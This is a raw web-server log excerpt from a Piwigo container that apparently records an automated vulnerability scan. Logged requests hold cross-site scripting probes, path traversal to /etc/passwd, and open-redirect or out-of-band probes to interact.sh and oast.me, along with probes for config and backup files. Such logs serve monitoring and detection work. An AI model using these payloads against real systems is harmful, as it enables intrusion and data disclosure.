server: localhost, request: "GET /_ignition/scripts/--%3E%3Csvg%20onload=alert%28document.domain%29%3E HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.210591512Z 2026/11/03 06:27:16 [error] 4869#4869: *17268 open() "/var/www/html/piwigo/examples/jsp/num/numguess.jsp" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /examples/jsp/num/numguess.jsp?guess=5&hint=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.210620679Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /metrics/metrics HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0" piwigo-main-1 | 2026-11-03T06:27:16.210622512Z 2026/11/03 06:27:16 [error] 4869#4869: *17269 open() "/var/www/html/piwigo/metrics/metrics" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /metrics/metrics HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.210727179Z 2026/11/03 06:27:16 [error] 4869#4869: *17202 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 192.168.65.202, server: localhost, request: "GET /pmb/opac_css/pmb.php?url=https://oast.me&hash=9c4438eb62929d9b535fb6fe98223c5e HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.210778429Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /pmb/opac_css/pmb.php?url=https://oast.me&hash=9c4438eb62929d9b535fb6fe98223c5e HTTP/1.1" 404 27 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0" piwigo-main-1 | 2026-11-03T06:27:16.210868720Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /?layout=/etc/passwd HTTP/1.1" 200 2809 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.210895720Z 2026/11/03 06:27:16 [error] 4870#4870: *17279 open() "/var/www/html/piwigo/redirect-to" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /redirect-to?url=https%3A%2F%2Finteract.sh HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.210910054Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /redirect-to?url=https%3A%2F%2Finteract.sh HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0" piwigo-main-1 | 2026-11-03T06:27:16.211471345Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /azure-pipelines.yml HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.211474762Z 2026/11/03 06:27:16 [error] 4870#4870: *17288 open() "/var/www/html/piwigo/azure-pipelines.yml" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /azure-pipelines.yml HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.211490387Z 2026/11/03 06:27:16 [error] 4870#4870: *17287 open() "/var/www/html/piwigo/config.properties.bak" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /config.properties.bak HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.211499012Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /config.properties.bak HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.211575929Z 2026/11/03 06:27:16 [error] 4870#4870: *17286 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 192.168.65.202, server: localhost, request: "GET /client/index.php%3F.php/gsb/users.php HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.211621554Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /client/index.php%3F.php/gsb/users.php HTTP/1.1" 404 27 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" piwigo-main-1 | 2026-11-03T06:27:16.211630262Z 2026/11/03 06:27:16 [error] 4870#4870: *17285 open() "/var/www/html/piwigo/_ignition/scripts/--><svg onload=alert(document.domain)>" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /_ignition/scripts/--%3E%3Csvg%20onload=alert%28document.domain%29%3E HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.211642887Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /_ignition/scripts/--%3E%3Csvg%20onload=alert%28document.domain%29%3E HTTP/1.1" 404 555 "-" "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" piwigo-main-1 | 2026-11-03T06:27:16.211704470Z 2026/11/03 06:27:16 [error] 4870#4870: *17284 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 192.168.65.202, server: localhost, request: "GET /client/index.php%3F.php/gsb/users.php HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.211714554Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /index.php?option=com_agora&task=profile&page=avatars&action=../../../../../../../../etc/passwd HTTP/1.1" 200 2809 "-" "Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" piwigo-main-1 | 2026-11-03T06:27:16.211740345Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /client/index.php%3F.php/gsb/users.php HTTP/1.1" 404 27 "-" "Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0" piwigo-main-1 | 2026-11-03T06:27:16.211793095Z 2026/11/03 06:27:16 [error] 4870#4870: *17282 open() "/var/www/html/piwigo/ui_config.properties" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /ui_config.properties HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.211806929Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /ui_config.properties HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" piwigo-main-1 | 2026-11-03T06:27:16.211814137Z 2026/11/03 06:27:16 [error] 4870#4870: *17283 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 192.168.65.202, server: localhost, request: "GET /Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.211830429Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404 27 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0" piwigo-main-1 | 2026-11-03T06:27:16.211856512Z 2026/11/03 06:27:16 [error] 4870#4870: *17277 open() "/var/www/html/piwigo/sign-up" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /sign-up HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.211873554Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /sign-up HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/534.16+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4" piwigo-main-1 | 2026-11-03T06:27:16.211904637Z 2026/11/03 06:27:16 [error] 4870#4870: *17278 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 192.168.65.202, server: localhost, request: "GET /bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.211918179Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 404 27 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" piwigo-main-1 | 2026-11-03T06:27:16.211985304Z 2026/11/03 06:27:16 [error] 4870#4870: *17280 open() "/var/www/html/piwigo/redirect-to" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /redirect-to?url=https%3A%2F%2Finteract.sh HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:16.211999804Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /redirect-to?url=https%3A%2F%2Finteract.sh HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15" piwigo-main-1 | 2026-11-03T06:27:16.212663845Z 192.168.65.202 - - [03/Nov/2026:06:27:16 +0000] "GET /index.php?option=com_agora&task=profile&page=avatars&action=../../../../../../../../etc/passwd HTTP/1.1" 200 2809 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Mobile/15E148 Safari/604.1" piwigo-main-1 | 2026-11-03T06:27:17.169606221Z 192.168.65.202 - - [03/Nov/2026:06:27:17 +0000] "GET /metrics/threads HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0" piwigo-main-1 | 2026-11-03T06:27:17.169639304Z 2026/11/03 06:27:17 [error] 4869#4869: *17268 open() "/var/www/html/piwigo/metrics/threads" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /metrics/threads HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:17.169986304Z 2026/11/03 06:27:17 [error] 4869#4869: *17269 open() "/var/www/html/piwigo/sign-up" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /sign-up HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:17.170373138Z 192.168.65.202 - - [03/Nov/2026:06:27:17 +0000] "GET /sign-up HTTP/1.1" 404 153 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0" piwigo-main-1 | 2026-11-03T06:27:17.170378596Z 192.168.65.202 - - [03/Nov/2026:06:27:17 +0000] "GET /examples/jsp/num/numguess.jsp?guess=5&hint=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404 555 "-" "Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" piwigo-main-1 | 2026-11-03T06:27:17.170398596Z 2026/11/03 06:27:17 [error] 4869#4869: *17202 open() "/var/www/html/piwigo/examples/jsp/num/numguess.jsp" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /examples/jsp/num/numguess.jsp?guess=5&hint=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:17.170436513Z 2026/11/03 06:27:17 [error] 4869#4869: *17268 open() "/var/www/html/piwigo/ui_config.properties" failed (2: No such file or directory), client: 192.168.65.202, server: localhost, request: "GET /ui_config.properties HTTP/1.1", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:17.170493096Z 192.168.65.202 - - [03/Nov/2026:06:27:17 +0000] "GET /ui_config.properties HTTP/1.1" 404 153 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0" piwigo-main-1 | 2026-11-03T06:27:17.170599596Z 2026/11/03 06:27:17 [error] 4869#4869: *17200 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 192.168.65.202, server: localhost, request: "GET /Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:17.170750888Z 192.168.65.202 - - [03/Nov/2026:06:27:17 +0000] "GET /Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404 27 "-" "Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36" piwigo-main-1 | 2026-11-03T06:27:17.170955846Z 2026/11/03 06:27:17 [error] 4869#4869: *17269 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 192.168.65.202, server: localhost, request: "GET /bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "oss-verify.example" piwigo-main-1 | 2026-11-03T06:27:17.170964054Z 192.168.65.202 - - [03/Nov/2026:06:27:17 +0000] "GET /bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 404 27 "-" "Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"